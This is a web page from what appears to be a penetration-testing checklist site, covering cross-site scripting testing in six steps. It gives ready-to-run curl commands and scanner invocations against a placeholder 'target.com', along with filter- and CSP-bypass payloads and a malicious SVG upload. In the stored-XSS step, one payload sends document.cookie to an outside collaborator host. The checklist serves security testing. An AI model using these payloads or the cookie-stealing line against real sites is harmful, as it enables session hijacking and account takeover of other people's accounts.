Cross-Site Scripting (XSS)
Test for reflected, stored, and DOM-based XSS across all input vectors, including filter bypass techniques and context-aware payload crafting.
Tools
Machine-readable JSON available at:
https://reconatlas.pages.dev/api/checklists/xss-testingTags
// checklist steps
xss-01
Detect reflected XSS via reflection analysis
Inject unique canary strings into all input parameters and identify where they reflect in the response, then determine the rendering context.
echo 'target.com' | waybackurls | qsreplace 'haCk4TlAs"<>xss' | while read url; do curl -sk "$url" | grep -q 'haCk4TlAs' && echo "[REFLECTED] $url"; done
dalfox url 'https://target.com/search?q=FUZZ' --silence --only-poc
python3 XSStrike/xsstrike.py -u 'https://target.com/page?param=test' --crawlAlways identify the exact rendering context (HTML body, attribute, JavaScript, URL) before crafting payloads — a payload that works in an HTML context will fail inside a JavaScript string.
xss-02
Test stored XSS in all persistence points
Submit XSS payloads into every field that persists data — profile fields, comments, file uploads, support tickets, and any shared content.
curl -sk -X POST 'https://target.com/api/comments' -H 'Content-Type: application/json' -d '{"body": "<img src=x onerror=alert(document.domain)>"}'
curl -sk -X PUT 'https://target.com/api/profile' -H 'Authorization: Bearer <token>' -d '{"bio": "<svg/onload=fetch(\"https://collaborator.net/?\"+document.cookie)>"}'Stored XSS often hides in less-tested fields like display names, address fields, or file metadata. Check every output location where your input renders — admin panels, PDF exports, and email notifications.
xss-03
Identify DOM-based XSS through source-sink analysis
Trace user-controllable DOM sources (location.hash, document.referrer, postMessage) to dangerous sinks (innerHTML, eval, document.write).
# Review JavaScript for dangerous sinks
cat js-files.txt | xargs -I{} curl -sk {} | grep -oiE '(innerHTML|outerHTML|document\.write|eval\(|setTimeout\(|setInterval\(|Function\()'
nuclei -u https://target.com -t dast/vulnerabilities/xss/ -headlessDOM XSS does not appear in server responses. You must test in a browser or headless engine. Check for postMessage handlers that pass data to innerHTML without validation.
xss-04
Bypass XSS filters with encoding and tag variations
Test WAF and application-level filter bypasses using alternative encodings, uncommon tags, event handlers, and mutation-based techniques.
dalfox url 'https://target.com/search?q=FUZZ' --waf-evasion
# Test encoding bypasses
curl -sk 'https://target.com/search?q=%3Csvg%2Fonload%3Dalert(1)%3E'
# Test uncommon event handlers
curl -sk 'https://target.com/search?q=<details+open+ontoggle=alert(1)>'If angle brackets are blocked, try attribute injection in existing tags. If event handlers are filtered, try lesser-known ones like ontoggle, onpointerenter, or onfocusin.
xss-05
Analyse and bypass Content Security Policy
Evaluate the CSP header for weaknesses such as unsafe-inline, overly broad whitelists, missing directives, and JSONP/AngularJS-based bypasses.
curl -sI https://target.com | grep -i 'content-security-policy'
# Evaluate CSP with Google's evaluator
# Check for JSONP endpoints on whitelisted domains
curl -sk 'https://whitelisted-cdn.com/jsonp?callback=alert(1)'A CSP with 'unsafe-inline' or 'unsafe-eval' is effectively bypassed. Look for whitelisted domains that host JSONP endpoints or user-uploaded content.
xss-06
Test XSS in non-HTML contexts
Test for XSS in JSON responses rendered as HTML, XML/SVG documents, and markdown or rich-text editors that allow HTML injection.
# JSON response injection
curl -sk 'https://target.com/api/search?q=<img/src/onerror=alert(1)>' -H 'Accept: text/html'
# SVG upload with embedded script
echo '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>' > xss.svg
curl -sk -F 'file=@xss.svg' 'https://target.com/upload'JSON endpoints that reflect input without proper Content-Type headers can be exploited if accessed directly in a browser. SVG files are particularly dangerous since they support inline JavaScript.
Overview
Cross-Site Scripting remains one of the most prevalent web vulnerabilities, enabling attackers to execute arbitrary JavaScript in victim browsers. Impact ranges from session hijacking and credential theft to full account takeover via stored XSS in shared contexts.
Context-aware testing
Effective XSS testing requires understanding the rendering context before crafting payloads. A reflection inside an HTML attribute demands a different breakout sequence than one inside a JavaScript template literal. Always map the context first, then select your payload accordingly.
Filter evasion strategy
Modern applications and WAFs employ layered sanitisation. Successful bypass often involves combining techniques — double encoding, mutation XSS, and leveraging browser-specific parsing quirks — rather than relying on a single trick.